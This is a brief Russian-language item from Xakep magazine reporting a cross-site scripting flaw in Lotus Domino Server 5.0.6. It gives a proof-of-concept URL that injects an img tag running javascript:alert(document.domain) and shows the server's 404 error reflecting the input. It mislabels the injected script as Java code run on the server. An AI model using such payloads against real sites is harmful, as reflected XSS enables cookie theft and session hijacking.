Cross-site scripting в Lotus Domino Server 5.0.6

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Для исполнения Java кода на сервере наберите следующий URL:

http://www.lotus.com/home.nsf/ <img%20src=javascript:alert(document.domain)>

В результате чего сервер выдаст:

Error 404
HTTP Web Server: Couldn't find design note - ******